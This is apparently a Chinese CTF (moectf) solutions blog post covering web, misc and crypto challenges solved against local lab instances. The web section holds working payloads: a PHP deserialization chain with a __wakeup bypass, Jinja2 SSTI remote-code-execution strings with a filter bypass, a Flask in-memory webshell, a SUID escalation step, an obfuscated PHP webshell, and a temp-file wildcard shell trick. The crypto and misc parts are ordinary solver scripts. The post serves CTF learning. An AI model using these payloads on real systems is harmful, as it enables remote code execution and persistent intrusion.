O%3A7%3A%22PersonA%22%3A3%3A%7Bs%3A4%3A%22name%22%3BO%3A7%3A%22PersonC%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22system%22%3Bs%3A2%3A%22id%22%3BO%3A6%3A%22Person%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A1%3A%22b%22%3Bs%3A2%3A%22id%22%3BO%3A7%3A%22PersonB%22%3A3%3A%7Bs%3A4%3A%22name%22%3BN%3Bs%3A2%3A%22id%22%3BN%3Bs%3A3%3A%22age%22%3BN%3B%7Ds%3A3%3A%22age%22%3BN%3B%7Ds%3A3%3A%22age%22%3Bs%3A1%3A%22a%22%3B%7Ds%3A2%3A%22id%22%3Bs%3A7%3A%22__Check%22%3Bs%3A3%3A%22age%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D

19 第十九章_revenge

<?php
class Person {
    public $name;
    public $id;
    public $age;
}

class PersonA extends Person {
    public function __destruct() {
        $name = $this->name;
        $id = $this->id;
        $name->$id($this->age);
    }
}

class PersonC extends Person {
    public function check($age) {
        $name = $this->name;
        if ($age == null) {
            die("Age can't be empty.");
        } else if ($name === "system") {
            die("Hacker!");
        } else {
            var_dump($name($age));
        }
    }
    public function __wakeup() {
        $name = $this->id;
        $name->age = $this->age;
        $name($this);
    }
}

// 构造Payload
$objC = new PersonC();
$objC->name = "System"; // 注意首字母大写，用于绕过检查
$objC->id = null;
$objC->age = null;

$objA = new PersonA();
$objA->name = $objC; // PersonC的对象
$objA->id = "check"; // 指定要调用的方法名
$objA->age = "env"; // 要执行的系统命令

$serialized = serialize($objA);
echo "原始序列化字符串:\n" . $serialized . "\n\n";

// 关键步骤：修改PersonC对象属性数量，以绕过__wakeup (CVE-2016-7124)
// 将PersonC序列化部分中的属性数量从3改为更大的数，例如4
$modifiedSerialized = preg_replace('/O:6:"PersonC":3:/', 'O:6:"PersonC":4:', $serialized);
echo "修改后的序列化字符串 (用于绕过__wakeup):\n" . $modifiedSerialized . "\n\n";

// 进行URL编码以便于通过GET参数传递
$urlEncoded = urlencode($modifiedSerialized);
echo "URL编码后的Payload:\n" . $urlEncoded . "\n";
?>

15 第十五章归真关·竞时净魔

import requests
url = "http://127.0.0.1:11976/uploads/1.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("YES,you upload it!")
    else:
	    print("NO")

酣畅淋漓的条件竞争

20 第二十章幽冥血海·幻语心魔

没有waf的ssti

[http://127.0.0.1:12585/?username={{url_for.__globals__[%27__builtins__%27][%27eval%27](%22__import__(%27os%27).popen(%27cat%20/flag%27).read()%22)}}&password=1](http://127.0.0.1:12585/?username={{url_for.__globals__[%27__builtins__%27][%27eval%27](%22__import__(%27os%27).popen(%27cat%20/flag%27).read()%22)}}&password=1)

21 第二十一章往生漩涡·言灵死局

有过滤

过滤了{{过滤了 __``globals

[http://127.0.0.1:13724/?username={%](http://127.0.0.1:13724/?username={%) print(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read() %}&password=1

cookie a=__globals__;b=os;c=cat /flag

22 第二十二章血海核心·千年手段

给了源码但是测试半天后发现是无回显SSTI 考虑打内存马

?username={{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}&password=1&cmd=/usr/bin/rev --HDdss cat /flag

给出最终payload，接下来分析

内存马创建动态路由实现rce，但是读取flag发现权限不够需要提权

然后用

find / -user root -perm -4000 -print 2>/dev/null

查到rev命令

拿去rev /flag无回显，strings一下这个命令

然后直接cat读取一下


#include <unistd.h>
#include <string.h>

int main(int argc, char **argv) {

    for(int i = 1; i + 1 < argc; i++) {
        if (strcmp("--HDdss", argv[i]) == 0) {
            execvp(argv[i + 1], &argv[i + 1]);
        }
    }

    return 0;
}

发现这个参数用来执行命令，直接cat /flag就可以了

这是...Webshell？

?shell=$_=~(%9E%8C%8C%9A%8D%8B);$__=~(%A0%AF%B0%AC%AB);$___=$$__;$_($___[_]);

_=system('cat /flag.txt');

这是...Webshell?_revenge

随意上传，然后抓包

按照下列格式改包

原理上传php文件会生成临时文件/tmp/phpaaaaaA(a表示小写字母，A表示大写字母)

.是执行 +是空格（url编码后+是空格）

所以/???/????????匹配的是临时文件至于[@-[]是为了匹配大写字母，ascii码表中大写字母位于@和[之间

！/bin/sh是getshell

然后再下一行写命令就可以了（ls cat）

发送一次请求木有回显就多发送俩次因为通配符毕竟是模糊匹配有可能匹配其他的文件

MISC

ez_锟斤拷????

:::info
这个是网络上很常见的一个图。

大致来说文字的编解码是这么一个过程：

编码（encode）：文字 -> 字节流

解码（decode）：字节流 -> 文字

然后针对这题的环境：

正常情况应该：utf-8 decode -> 文字

题目描述的错误操作：GBK decode -> 乱码

因此我们要 GBK encode -> 字节流 -> utf-8 decode -> 文字

用 010 的话估计自动进行了一些编解码操作

:::

encrypted_pdf

密码qwe123

然后ctrl+f直接搜moe

Rush

gif图，随波逐流截取二维码，CQR直接扫即可

补充一个知识点

Misc入门指北

入门指北里感觉是隐写，复制一下到搜索框就行了

moectf{We1c0m3_7o_tH3_w0R1d_0f_m1sc3111aN3ous!!}、

ez_LSB

随波逐流lsb隐写可能提取不全，用kali的zsteg

SSTV
https://blog.csdn.net/orchid_sea/article/details/138075312

moectf{d3codiNG_SStV_reQu1REs-PATI3nC3}

捂住一只耳

..-. .-.. .- --. .. ... ---... .... .- .-.. ..-. ..--.- .-. .- -.. .. --- ..--.- .. -. ..--.- -..- -.. ..-

mos解码

HALF_RADIO_IN_XDU

Enchantment

导出http对象

foremost分离图片

银河字母

moectf{now_you_have_mastered_enchanting}

ez_png

zsteg

CRYPTO

Crypto入门指北

from Crypto.Util.number import long_to_bytes

# 从题目输出中复制的参数
p = 11540963715962144951763578255357417528966715904849014985547597657698304891044841099894993117258279094910424033273299863589407477091830213468539451196239863
c1 = 6652053553055645358275362259554856525976931841318251152940464543175108560132949610916012490837970851191204144757409335011811874896056430105292534244732863
c2 = 2314913568081526428247981719100952331444938852399031826635475971947484663418362533363591441216570597417789120470703548843342170567039399830377459228297983
x = 8010957078086554284020959664124784479610913596560035011951143269559761229114027738791440961864150225798049120582540951874956255115884539333966429021004214

# 使用私钥x计算共享密钥 s = c1^x mod p
s = pow(c1, x, p)

# 计算s在模p下的乘法逆元
s_inv = pow(s, -1, p)

# 解密消息: m = c2 * s_inv mod p
m = (c2 * s_inv) % p

# 将整数m转换为字节串
flag = long_to_bytes(m)

print("解密后的flag:", flag.decode())

ez_DES

from Crypto.Cipher import DES
import string
import itertools
import binascii

# 原始密文
c = b'\xe6\x8b0\xc8m\t?\x1d\xf6\x99sA>\xce \rN\x83z\xa0\xdc{\xbc\xb8X\xb2\xe2q\xa4"\xfc\x07'
characters = string.ascii_letters + string.digits + string.punctuation

def validate_padding(decrypted):
    last_byte = decrypted[-1]
    for pad_len in range(1, 9):  # 遍历可能的填充长度 1-8
        padding_bytes = bytes([last_byte] * pad_len)
        if len(decrypted) >= pad_len and decrypted[-pad_len:] == padding_bytes:
            return decrypted[:-pad_len]  # 返回去除填充的原始数据
    return None

def main():
    found_flag = None
    
    for suffix in itertools.product(characters, repeat=3):
        key_str = 'ezdes' + ''.join(suffix)
        key = key_str.encode('utf-8')[:8].ljust(8, b'\x00')
        
        try:
            cipher = DES.new(key, DES.MODE_ECB)
            decrypted = cipher.decrypt(c)
            
            # 方法1：直接检测魔数前缀 moectf{
            if decrypted[:7] == b'moectf{' and decrypted.endswith(b'}'):
                plaintext = decrypted.rstrip(bytes([decrypted[-1]]))  # 自动去除填充
                found_flag = (key_str, plaintext.decode('latin1'))
                break
            
            # 方法2：使用填充验证
            plaintext_bytes = validate_padding(decrypted)
            if plaintext_bytes:
                if plaintext_bytes.startswith(b'moectf{') and b'}' in plaintext_bytes:
                    found_flag = (key_str, plaintext_bytes.decode('latin1'))
                    break
                    
        except (ValueError, TypeError):
            continue  # 忽略无效密钥错误
    
    if found_flag:
        key_str, plaintext = found_flag
        print(f'Found Key: {key_str}')
        print(f'Decrypted Flag: {plaintext}')
    else:
        print('No valid flags found.')

if __name__ == "__main__":
    main()

baby_next

import math
from Crypto.Util.number import long_to_bytes

n = 96742777571959902478849172116992100058097986518388851527052638944778038830381328778848540098201307724752598903628039482354215330671373992156290837979842156381411957754907190292238010742130674404082688791216045656050228686469536688900043735264177699512562466087275808541376525564145453954694429605944189276397
c = 17445962474813629559693587749061112782648120738023354591681532173123918523200368390246892643206880043853188835375836941118739796280111891950421612990713883817902247767311707918305107969264361136058458670735307702064189010952773013588328843994478490621886896074511809007736368751211179727573924125553940385967
e = 65537

# 费马分解法
def fermat_factorization(n):
    a = math.isqrt(n) + 1
    b2 = a * a - n
    while math.isqrt(b2) ** 2 != b2:
        a += 1
        b2 = a * a - n
    b = math.isqrt(b2)
    return a - b, a + b

p, q = fermat_factorization(n)

# 计算私钥并解密
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)

print(flag.decode())

ez_square

from Crypto.Util.number import long_to_bytes
import gmpy2

# 给定参数
n = 83917281059209836833837824007690691544699901753577294450739161840987816051781770716778159151802639720854808886223999296102766845876403271538287419091422744267873129896312388567406645946985868002735024896571899580581985438021613509956651683237014111116217116870686535030557076307205101926450610365611263289149
c = 69694813399964784535448926320621517155870332267827466101049186858004350675634768405333171732816667487889978017750378262941788713673371418944090831542155613846263236805141090585331932145339718055875857157018510852176248031272419248573911998354239587587157830782446559008393076144761176799690034691298870022190
hint = 5491796378615699391870545352353909903258578093592392113819670099563278086635523482350754035015775218028095468852040957207028066409846581454987397954900268152836625448524886929236711403732984563866312512753483333102094024510204387673875968726154625598491190530093961973354413317757182213887911644502704780304
e = 65537

# 枚举k求解s = p+q
s = None
for k in range(1, 10):  # k范围试探（实际k=1时成功）
    s2 = hint + k * n
    # 检查s2是否为完全平方数
    root = gmpy2.isqrt(s2)
    if root * root == s2:
        s = root
        print(f"Found k = {k}")
        break

if s is None:
    raise ValueError("Failed to find (p+q)")

# 计算p - q
d_val = gmpy2.isqrt(s * s - 4 * n)
# 计算p和q
p = (s + d_val) // 2
q = (s - d_val) // 2

# 验证p * q == n
if p * q != n:
    raise ValueError("Factorization failed")

# RSA解密
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)

# 转换为字节并输出flag
flag = long_to_bytes(m).decode()
print(flag)

ezlegendre

import math

# Given parameters
p = 258669765135238783146000574794031096183
a = 144901483389896508632771215712413815934

# Ciphertext list (truncated for display, use provided full list in actual code)
ciphertext = [
    102230607782303286066661803375943337852,
    196795077203291879584123548614536291210,
    41820965969318717978206410470942308653,
    207485265608553973031638961376379316991,
    126241934830164184030184483965965358511,
    20250852993510047910828861636740192486,
    103669039044817273633962139070912140023,
    97337342479349334554052986501856387313,
    159127719377115088432849153087501377529,
    45764236700940832554086668329121194445,
    35275004033464216369574866255836768148,
    52905563179465420745275423120979831405,
    17032180473319795641143474346227445013,
    29477780450507011415073117531375947096,
    55487351149573346854028771906741727601,
    121576510894250531063152466107000055279,
    69959515052241122548546701060784004682,
    173839335744520746760315021378911211216,
    28266103662329817802592951699263023295,
    194965730205655016437216590690038884309,
    208284966254343254016582889051763066574,
    137680272193449000169293006333866420934,
    250634504150859449051246497912830488025,
    124228075953362483108097926850143387433,
    232956176229023369857830577971626577196,
    149441784891021006224395235471825205661,
    118758326165875568431376314508740278934,
    222296215466271835013184903421917936512,
    49132466023594939909761224481560782731,
    406286678537520849308828749751513339,
    215122152883292859254246948661946520324,
    81283590250399459209567683991648438199,
    150395133067480380674905743031927410663,
    5710878479977467762548400320726575491,
    83627753774286426170934105100463456109,
    164968224377869331545649899270867630850,
    241057183685774160581265732812497247167,
    109136287048010096863680430193408099828,
    116313129605409961931811582899075031153,
    202739016625709380026000805340243458300,
    25408225921774957745573142542576755590,
    151336258796933656160956289529558246702,
    2947189044370494063643525166023973095,
    228678413963736672394976193093568181979,
    40627063032321835707220414670018641024,
    55446789315226949622969082042881319148,
    32219108726651509070669836923591948459,
    134454924722414419191920784435633637634,
    97952023967728640730045857104376826039,
    20659076942504417479953787092276592682,
    93281761173713729777326842152860901050,
    133634773495582264000160065317239987936,
    79976720152435218818731114555425458470,
    234654694673289327542859971371886984118,
    51332273108989067644245919615090753756,
    134120280423303717489979349737802826605,
    182001158305920226320085758522717203725,
    98408798757865562737462169470346158516,
    78200435603900368619334272308272773797,
    232796357836930341547987600782979821555,
    589106968861493082018132081244848952,
    24186003230092331554886767628744415123,
    236070626491251466741246103662922841423,
    238699080882667864827094121849090696547,
    141659873734297659078160283051728812410,
    228977113517120063860252637394240795552,
    236613527842969921794004708284265628300,
    145522034982744654991661857596541755396,
    249608374387044047328725156440984678776,
    325110572051913836681821746093704556,
    171492052199838424502681030556098576483,
    156498865212994371079795360268866413702,
    196747701509389071931992996873572785043,
    70811811603137896158765356680364490781,
    83672551582385607422240464086955462541,
    117961603623637997457153763936550310698,
    224448821395214505399297116719025174412,
    4598815373009554321735225938200807251,
    194892269604260726530091473301914449005,
    127484628022155760909820605666827662175,
    208706240846212140439291547368645656474,
    14102286481104997303651684152195298336,
    6129503335471304345451795609683770657,
    103799668048593149396277157385628834185,
    185813375481410513002496683918106238351,
    233491689316882978147517340230794025796,
    46274083097168831187719988888816378961,
    119487551553664772614629936285345836934,
    84340029922118279362389419277915602509,
    88253743193124528032223101368846247085,
    227895357640018330099501504941388167432,
    92189947144174433744195727086236905626,
    83114957902192791332190922428847199876,
    173535754090441937731619031520699325122,
    192309407933789484835602071782330798398,
    255421921600128994923738650157598053776,
    155535082468314012733563336837641958625,
    49064798421022327310707074253263463055,
    161216416471071644769301963857685054031,
    252480348817188872515008985698620059851,
    75854882798183185741756645038434215611,
    256065006192683011190132982128640682537,
    87507510173514424105732562474643251223,
    163309795132131534875147566536485288212,
    253583084320404985699510129361746869059,
    253300112521651972637580307326576568313,
    239027717080729650738678032571840680727,
    117444657686971615526398894470673026034,
    215470942802874046857958621181684551426,
    58767098748728136687851735836323448020,
    249357164697409977883764098879705065535,
    174705348385893117518084017669958647345,
    211108767177375215605155301209259781232,
    57829566748907062397366819001461941421,
    88265742700024922112974862134385921564,
    80952107622167923709226013231566882261,
    236078582132483864916117213281193714198,
    193448482646563141692726575550417225891,
    245972799166806058223048506073553726233,
    10132977708896091601871557249244373666,
    201785418152654519825849206312616081028,
    15169816744048531212384271865884567710,
    122545328290385950043826822277924297182,
    202918646192255177261567701479991753600,
    32696887488223731055835744711207261936,
    88319352182963224921157305627381030375,
    92381505322264045777004475690398861771,
    189745654013352563126968415157143821842,
    152254915005998949299817641843658795579,
    198032433618991362619448347415342295581,
    84073892809321676935569114878067118319,
    82243805869584256211699602267760745768,
    61994229948266781537191603999495995852,
    253668765227759797787675352833142466255,
    38865376724677211964966907748953557125,
    134615436811268347303232550777225944929,
    176932422465426107783498083830285780588,
    207573742393618910694054452362826628208,
    200033130835394442710748301293534928706,
    127536063935293533700918451145963158658,
    219125698281820710910675956971948816959,
    179795893258398750139395156587561075767,
    69649628109726874051635160004398498964,
    241433717681314766463039563422535023524,
    202664264135718511331695232476272832350,
    205151096657425932591242432052912914182,
    210305712465948130683966275157181140301,
    196555690055906934925300527324955477733,
    66817932643964538216259564711698986077,
    95270796440975607179107356182889534333,
    123226880424532374188134357659879826495,
    53506495440223773538415807620524749240,
    19253217887083870834249774316467647628,
    165699356396365023442008488156823647206,
    107809175498119862854792975070673056027,
    250453989887421415931162217952559757164,
    171492052199838424502681030556098576483,
    133778166882550119563444625306816232463,
    149009301604122447269581792013291889175,
    9982418254629616281350713836647603294,
    203486292122499140756846060502464655972,
    157686696123400087437836943220926921848,
    88338919773540412238116717043122711811,
    113265824169274322024623493892867211478,
    5549372099744960679418616304893848801,
    12431828907518852062050349123660880165,
    183957934738536914983862053251433028750,
    42027289270308356303682029801998790750,
    117406080036483925915502666019795783905,
    154312255292300186042636734144948304054,
    143706917273862261295046346995206133170,
    50088136095338601440516112338120787526,
    250634504150859449051246497912830488025,
    8073010289877796888705519374892639903,
    40049582814576788803483039836229025416,
    227012342545923833983403067401561291645,
    201776603581414625783054400184026088994,
    55474945478884522762318445841998187357,
    221515530211550293408010846844218019597,
    172650752042211610909190315288155597255,
    67046194931321172530462444254204111483,
    207435868835185636819659137800256834557,
    188063222224545200294767050268070647452,
    58099349021260301211275261896736590564,
    23598877596106927870697531042828774738,
    58546308516383335224739442370238545000,
    58125311541947998710088435169901475101,
    238219925698115060748249043752036454438,
    203910234934340893915761800653823457631,
    190854889967769152565565000250829375099,
    37573623890629846209257307181880876288,
    226220240200270623843038279593586687278,
    144246075981535671790438155977352345487,
    14665770553338784222331493932533448756,
    37992062606775322664977502677838074649,
    47370175759976523832233910009306151684,
    97047813247943880266351445874642842468,
    237607444658797800072728280983357541134,
    174853113478993738890584814806707459112,
    17104608155861584438824639050715857607,
    83639027011494777283064583268678718843,
    237826165608708003941944469905843354705,
    231707683915242052796886276983724691027,
    146089830852925550139294146760718642221,
    25604562707667550478623425477029052785,
    108577663147976992047614498924706939204,
    69040319834829375335287614995435269276,
    169933229202934375632745753379104389929,
    72693008284867494808267387710985847974,
    158548279589965576940349068403862889270,
    49458101234256610254825879149914255140,
    24389558269688411084589654047215902968,
    210567980379246548727819953025607019254,
    110423375132252997825868399832298953831,
    109589895677661968369424757992411668628,
    66177577069199763925999718357846633613,
    83602293803708828242273186265396676466,
    172226271050176278536911356541786290551,
    85799805809703976643034084477579915867,
    179399990302447560847151603157937241688,
    81687654752229170984692833277072534294,
    160766441640281044008645821822296569868,
    100306680611749750243920501921769642984,
    42195187332833922597871030332905266026,
    238918420772178508359295233180536910768,
    221685929158944699801776621298532178665,
    209349638787804999657456057184702655805,
    183953393268431043006359511952782903516,
    137364333131365794683132159746962959967,
    15637689373906596015395350692459218048,
    145956368418289159411911667337899986262,
    197987711355277581048877821432652325207,
    125421308989313724733467092345532539875,
    90525081516582408488547894471421476595,
    107405840115256692042814887586009104950,
    71587500700172519801649824611045199280,
    10155721246869986043302768283257682883,
    100522792569358427133597834727509523742,
    244473925018526409824670892423775482110,
    50746138425761666610345252577572889037,
    142188269919422432629363225167297071042,
    8235113926890598897465093754260801947,
    174540885017405784646782293055852044631,
    171949847901434672429841435895697323702,
    34391199559497599434575002007581170988,
    7337868660819385932166025474594964373,
    89608475952042154068811282935241824949,
    162561097613906905390170334328135062933,
    252566077272083954707900007055640560669,
    4284637988579219107997224848114896904,
    220026371387782427901244689037957398829,
    86019060485320999498155965142619258089,
    19304861731281576405798605142335886482,
    123188238667151068575810494833929221938,
    125089740978532716086813732154638565196,
    252061524500088702951562270741214799294,
    89528875472312768404823823905699760649,
    63307407053590054220492282094909190524,
    24389558269688411084589654047215902968,
    43835777110183833958990705735152973942,
    196543204310466258426232803779025620993,
    225032412767857179129234169288824097261,
    50292890880286260984317361296226049436,
    64928956886509273090981701066528078331,
    25408225921774957745573142542576755590,
    235921667882292842303120860570747218086,
    217132603855089441017750752624514343437,
    11106129204256119599329380588789107048,
    147501327490657927610543345089238991876,
    158091159632919983870444592039392730373,
    254215886971254771885657857148535673338,
    129869106474614345624950211566868568809,
    10425702332274469498479699675668087022,
    136595953187315682777976356839442311764,
    1607792140397737044118662059498732982,
    23710000155612873207506044342091514799,
    118571340370877720354330132780832828911,
    194624784476702188629452374731837038856,
    51332273108989067644245919615090753756,
    240921043405288511960365826273938845156,
    158670188709175825212687487436006138030,
    133641825913283256858340618209700716053,
    43054466484232130048301271684438593412,
    20361972967806283315536154125012604660,
    135700832615866572032111395529532615300,
    160609169788639387827865051539103507016,
    100576279475451993660766480883708996211,
    215424685541583305069271024253690375127,
    60018956375784961551937423504137141702,
    107997941230633604720421526632224279451,
    219482010609171816035007605036664317041,
    22173526221024380740269311947729076493,
    249746554302052221287371350978970766087,
    93207359085331319264650563354951254906,
    221421697282310997113867048083058096452,
    61834092635779365101011109381392037516,
    162215218701897689647766394615098617152,
    141856131587452385513407955541400099703,
    177910903795887762773545874929605680469,
    228832704523723308335513552177377803295,
    229427981969125094398744034150988525118,
    217938760689082034514008764751385239765,
    3238055163645731541423094980789895030,
    42308449860804765793467328093112118974,
    254764518926620089428032312378507653680,
    215733901156118606036318409454786603209,
    59640829345183339336712595595022506261,
    33515071724475649656070325837411550208,
    51175659069843551646353202764296812462,
    211462959696081863041546889096760952490,
    230559603938699838189391087728971115767,
    85878911733601049548471257838175175563,
    214134904074265214033878852207103328297,
    160702405980652445507529591230654474171,
    223755040649990285320102091954198427148,
    166476753890268002826149533120107157745,
    26283916639129998224675164834425763384,
    232971495542024495583092055361321729894,
    79741799146769724681649849525636816379,
    228506526471280046809909301748098760369,
    167502422063741368765891061653686283332,
    26984184590668253713951516794937308166,
    105952393031190074432183821281493254,
    113823192955281698937767041115166174652,
    93264047694114869263275726820602569731,
    55481974783112950660682138071588408040,
    108961894273530837550182447112767144669,
    47975793549419083945738147934068241928,
    204024371586357035343484206754422857590,
    251859351272989525849999231358507018068,
    75939709807860493804628805619699991501,
    129031774446142139804436921156668129187,
    110764318451937254261883856778359218969,
    246404864722813298477426808193494673610,
    153818236564405157581869620439634140065,
    246125932167584353084676586883038397451
]  # Ensure this list is complete with 298 elements

# Generate all 16-bit primes (from 32768 to 65535)
def generate_primes(upper_bound):
    n = upper_bound
    sieve = [True] * (n + 1)
    sieve[0] = False
    sieve[1] = False
    sqrt_n = int(math.isqrt(n))
    for i in range(2, sqrt_n + 1):
        if sieve[i]:
            sieve[i*i : n+1 : i] = [False] * len(sieve[i*i : n+1 : i])
    primes = [i for i in range(2, n + 1) if sieve[i]]
    return primes

upper_bound = 65536
all_primes = generate_primes(upper_bound)
min_16bit = 32768  # 2^15
max_16bit = 65535  # 2^16 - 1
primes_16 = [p for p in all_primes if min_16bit <= p <= max_16bit]

# Predefined possible x values: a (for b=0), a+1 to a+10 (for b=1)
possible_x = [a] + [a + d for d in range(1, 11)]

# For each ciphertext, find the bit b
bit_list = []

for idx, n in enumerate(ciphertext):
    found = False
    for x in possible_x:
        for e in primes_16:
            candidate = pow(x, e, p)
            if candidate == n:
                # Match found, determine b
                if x == a:
                    b = 0
                else:
                    b = 1
                bit_list.append(b)
                found = True
                break  # Break out of e-loop
        if found:
            break  # Break out of x-loop and move to next ciphertext
    if not found:
        # Append default 0 if no match, but it shouldn't happen for valid ciphertext
        bit_list.append(0)
        print(f"Warning: No match for ciphertext at index {idx}, value {n}")

# Convert list of bits to list of bytes
byte_list = []
num_bits = len(bit_list)
for i in range(0, num_bits, 8):
    chunk = bit_list[i:i+8]
    if len(chunk) < 8:
        # Pad with zeros if incomplete at the end
        chunk += [0] * (8 - len(chunk))
    byte_val = 0
    # Convert 8 bits to byte: MSB first, as in encryption (zfill(8) padded to the front)
    for j in range(8):
        byte_val |= chunk[j] << (7 - j)
    byte_list.append(byte_val)

# Convert bytes to string (try UTF-8, fallback to latin-1 if needed)
flag_bytes = bytes(byte_list)
try:
    flag = flag_bytes.decode('utf-8')
except UnicodeDecodeError:
    flag = flag_bytes.decode('latin-1')

print("Decrypted flag:", flag)
print("Flag in hex:", flag_bytes.hex())

posted @ 2025-10-21 01:39 fortune_h2c 阅读(7) 评论(0) 收藏举报

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